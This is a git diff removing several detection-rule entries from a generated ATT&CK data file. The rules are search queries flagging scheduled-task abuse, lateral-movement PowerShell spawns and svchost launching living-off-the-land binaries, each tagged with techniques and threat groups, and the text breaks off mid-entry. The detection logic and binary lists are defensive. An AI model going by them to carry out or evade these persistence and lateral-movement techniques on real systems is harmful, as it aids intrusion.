diff --git a/data_collector/generated_attck_data_v3.json b/data_collector/generated_attck_data_v3.json index 2a4daac..54ace12 100644 --- a/data_collector/generated_attck_data_v3.json +++ b/data_collector/generated_attck_data_v3.json @@ -91217,2457 +91217,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" ] - }, - { - "name": "Scheduled tasks used in BadRabbit ransomware", - "description": "This search looks for flags passed to schtasks.exe on the command-line that indicate that task names related to the execution of Bad Rabbit ransomware were created or deleted. Deprecated because we already have a similar detection", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process from datamodel=Endpoint.Processes where Processes.process_name=schtasks.exe (Processes.process= \"*create*\" OR Processes.process= \"*delete*\") by Processes.parent_process Processes.process_name Processes.user | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)`|`security_content_ctime(lastTime)` | search (process=*rhaegal* OR process=*drogon* OR *viserion_*) | `scheduled_tasks_used_in_badrabbit_ransomware_filter`", - "tags": { - "analytic_story": [ - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Possible Lateral Movement PowerShell Spawn", - "description": "The following analytic detects the spawning of a PowerShell process as a child or grandchild of commonly abused processes like services.exe, wmiprsve.exe, svchost.exe, wsmprovhost.exe, and mmc.exe. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process names, as well as command-line executions. This activity is significant as it often indicates lateral movement or remote code execution attempts by adversaries. If confirmed malicious, this behavior could allow attackers to execute code remotely, escalate privileges, or persist within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name=wmiprvse.exe OR Processes.parent_process_name=services.exe OR Processes.parent_process_name=svchost.exe OR Processes.parent_process_name=wsmprovhost.exe OR Processes.parent_process_name=mmc.exe) (Processes.process_name=powershell.exe OR (Processes.process_name=cmd.exe AND Processes.process=*powershell.exe*) OR Processes.process_name=pwsh.exe OR (Processes.process_name=cmd.exe AND Processes.process=*pwsh.exe*)) NOT (Processes.process IN (\"*c:\\windows\\ccm\\*\")) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `possible_lateral_movement_powershell_spawn_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell process was spawned as a child process of typically abused processes on $dest$", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1021.006", - "mitre_attack_technique": "Windows Remote Management", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Chimera", - "FIN13", - "Threat Group-3390", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218.014", - "mitre_attack_technique": "MMC", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Randomly Generated Scheduled Task Name", - "description": "The following analytic detects the creation of a Scheduled Task with a high entropy, randomly generated name, leveraging Event ID 4698. It uses the `ut_shannon` function from the URL ToolBox Splunk application to measure the entropy of the Task Name. This activity is significant as adversaries often use randomly named Scheduled Tasks for lateral movement and remote code execution, employing tools like Impacket or CrackMapExec. If confirmed malicious, this could allow attackers to execute arbitrary code remotely, potentially leading to further compromise and persistence within the network.", - "search": " `wineventlog_security` EventCode=4698 | xmlkv Message | lookup ut_shannon_lookup word as Task_Name | where ut_shannon > 3 | table _time, dest, Task_Name, ut_shannon, Command, Author, Enabled, Hidden | `randomly_generated_scheduled_task_name_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "CISA AA22-257A", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A windows scheduled task with a suspicious task name was created on $dest$", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - }, - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Scheduled Task Deleted Or Created via CMD", - "description": "The following analytic identifies the creation or deletion of scheduled tasks using the schtasks.exe utility with the -create or -delete flags. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it can indicate unauthorized system manipulation or malicious intent, often associated with threat actors like Dragonfly and incidents such as the SUNBURST attack. If confirmed malicious, this activity could allow attackers to execute code, escalate privileges, or persist within the environment, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process) as process values(Processes.parent_process) as parent_process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=schtasks.exe (Processes.process=*delete* OR Processes.process=*create*) by Processes.user Processes.process_name Processes.parent_process_name Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `scheduled_task_deleted_or_created_via_cmd_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "Amadey", - "AsyncRAT", - "Azorult", - "CISA AA22-257A", - "CISA AA23-347A", - "DHS Report TA18-074A", - "DarkCrystal RAT", - "Living Off The Land", - "NOBELIUM Group", - "NjRAT", - "Phemedrone Stealer", - "Prestige Ransomware", - "Qakbot", - "RedLine Stealer", - "Rhysida Ransomware", - "Sandworm Tools", - "Scheduled Tasks", - "Trickbot", - "Windows Persistence Techniques", - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A schedule task process $process_name$ with create or delete commandline $process$ in host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Scheduled Task Initiation on Remote Endpoint", - "description": "The following analytic detects the use of 'schtasks.exe' to start a Scheduled Task on a remote endpoint. This detection leverages Endpoint Detection and Response (EDR) data, focusing on process details such as process name, parent process, and command-line executions. This activity is significant as adversaries often abuse Task Scheduler for lateral movement and remote code execution. If confirmed malicious, this behavior could allow attackers to execute arbitrary code remotely, potentially leading to further compromise of the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=schtasks.exe OR Processes.original_file_name=schtasks.exe) (Processes.process=*/s* AND Processes.process=*/run*) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `scheduled_task_initiation_on_remote_endpoint_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Living Off The Land", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A Windows Scheduled Task was ran on a remote endpoint from $dest", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - }, - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Schtasks scheduling job on remote system", - "description": "The following analytic detects the use of 'schtasks.exe' to create a scheduled task on a remote system, indicating potential lateral movement or remote code execution. It leverages process data from Endpoint Detection and Response (EDR) agents, focusing on specific command-line arguments and flags. This activity is significant as it may signify an adversary's attempt to persist or execute code remotely. If confirmed malicious, this could allow attackers to maintain access, execute arbitrary commands, or further infiltrate the network, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name = schtasks.exe OR Processes.original_file_name=schtasks.exe) (Processes.process=\"*/create*\" AND Processes.process=\"*/s*\") by Processes.process_name Processes.process Processes.parent_process_name Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `schtasks_scheduling_job_on_remote_system_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Living Off The Land", - "NOBELIUM Group", - "Phemedrone Stealer", - "Prestige Ransomware", - "RedLine Stealer", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "A schedule task process $process_name$ with remote job command-line $process$ in host $dest$ by $user$.", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Schtasks used for forcing a reboot", - "description": "The following analytic detects the use of 'schtasks.exe' to schedule forced system reboots using the 'shutdown' and '/create' flags. It leverages endpoint process data to identify instances where these specific command-line arguments are used. This activity is significant because it may indicate an adversary attempting to disrupt operations or force a reboot to execute further malicious actions. If confirmed malicious, this could lead to system downtime, potential data loss, and provide an attacker with an opportunity to execute additional payloads or evade detection.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=schtasks.exe Processes.process=\"*shutdown*\" Processes.process=\"*/create *\" by Processes.process_name Processes.parent_process_name Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `schtasks_used_for_forcing_a_reboot_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Scheduled Tasks", - "Windows Persistence Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A schedule task process $process_name$ with force reboot commandline $process$ in host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Short Lived Scheduled Task", - "description": "The following analytic detects the creation and deletion of scheduled tasks within a short time frame (less than 30 seconds) using Windows Security EventCodes 4698 and 4699. This behavior is identified by analyzing Windows Security Event Logs and leveraging the Windows TA for parsing. Such activity is significant as it may indicate lateral movement or remote code execution attempts by adversaries. If confirmed malicious, this could lead to unauthorized access, data exfiltration, or execution of malicious payloads, necessitating prompt investigation and response by security analysts.", - "search": " `wineventlog_security` EventCode=4698 OR EventCode=4699 | xmlkv Message | transaction Task_Name startswith=(EventCode=4698) endswith=(EventCode=4699) | eval short_lived=case((duration<30),\"TRUE\") | search short_lived = TRUE | rename ComputerName as dest| table _time, dest, Account_Name, Command, Task_Name, short_lived | `short_lived_scheduled_task_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "CISA AA22-257A", - "CISA AA23-347A", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A windows scheduled task was created and deleted in 30 seconds on $dest$", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Suspicious Scheduled Task from Public Directory", - "description": "The following analytic identifies the creation of scheduled tasks that execute binaries or scripts from public directories, such as users\\public, \\programdata\\, or \\windows\\temp, using schtasks.exe with the /create command. It leverages Sysmon Event ID 1 data to detect this behavior. This activity is significant because it often indicates an attempt to maintain persistence or execute malicious scripts, which are common tactics in malware deployment. If confirmed as malicious, this could lead to data compromise, unauthorized access, and potential lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=schtasks.exe (Processes.process=*\\\\users\\\\public\\\\* OR Processes.process=*\\\\programdata\\\\* OR Processes.process=*windows\\\\temp*) Processes.process=*/create* by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `suspicious_scheduled_task_from_public_directory_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CISA AA23-347A", - "DarkCrystal RAT", - "Living Off The Land", - "Ransomware", - "Ryuk Ransomware", - "Scheduled Tasks", - "Windows Persistence Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious scheduled task registered on $dest$ from Public Directory", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Svchost LOLBAS Execution Process Spawn", - "description": "The following analytic detects instances of 'svchost.exe' spawning Living Off The Land Binaries and Scripts (LOLBAS) processes. It leverages Endpoint Detection and Response (EDR) data to monitor child processes of 'svchost.exe' that match known LOLBAS executables. This activity is significant as adversaries often use LOLBAS techniques to execute malicious code stealthily, potentially indicating lateral movement or code execution attempts. If confirmed malicious, this behavior could allow attackers to execute arbitrary commands, escalate privileges, or maintain persistence within the environment, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name=svchost.exe) (Processes.process_name IN (\"Regsvcs.exe\", \"Ftp.exe\", \"OfflineScannerShell.exe\", \"Rasautou.exe\", \"Schtasks.exe\", \"Xwizard.exe\", \"Pnputil.exe\", \"Atbroker.exe\", \"Pcwrun.exe\", \"Ttdinject.exe\",\"Mshta.exe\", \"Bitsadmin.exe\", \"Certoc.exe\", \"Ieexec.exe\", \"Microsoft.Workflow.Compiler.exe\", \"Runscripthelper.exe\", \"Forfiles.exe\", \"Msbuild.exe\", \"Register-cimprovider.exe\", \"Tttracer.exe\", \"Ie4uinit.exe\", \"Bash.exe\", \"Hh.exe\", \"SettingSyncHost.exe\", \"Cmstp.exe\", \"Stordiag.exe\", \"Scriptrunner.exe\", \"Odbcconf.exe\", \"Extexport.exe\", \"Msdt.exe\", \"WorkFolders.exe\", \"Diskshadow.exe\", \"Mavinject.exe\", \"Regasm.exe\", \"Gpscript.exe\", \"Regsvr32.exe\", \"Msiexec.exe\", \"Wuauclt.exe\", \"Presentationhost.exe\", \"Wmic.exe\", \"Runonce.exe\", \"Syncappvpublishingserver.exe\", \"Verclsid.exe\", \"Infdefaultinstall.exe\", \"Installutil.exe\", \"Netsh.exe\", \"Wab.exe\", \"Dnscmd.exe\", \"At.exe\", \"Pcalua.exe\", \"Msconfig.exe\")) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `svchost_lolbas_execution_process_spawn_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Living Off The Land", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Svchost.exe spawned a LOLBAS process on $dest$", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - }, - { - "mitre_attack_id": "T1053.005", - 